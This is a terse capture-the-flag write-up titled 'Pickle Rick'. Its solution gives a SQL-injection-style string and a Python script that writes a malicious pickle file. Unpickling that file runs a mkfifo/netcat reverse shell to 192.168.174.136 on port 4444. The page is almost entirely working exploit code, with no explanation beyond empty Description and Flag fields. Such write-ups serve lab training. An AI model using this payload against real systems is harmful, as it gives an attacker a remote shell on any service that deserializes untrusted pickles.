Pickle Rick
Difficulty
Points
Solves
Description
Solution
"oR"2"LiKE"2import pickle
import os
class RCE:
def __reduce__(self):
cmd = 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.174.136 4444 >/tmp/f'
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
with open("pickled_data.pickle", "wb") as f:
f.write(pickled)Flag
Last updated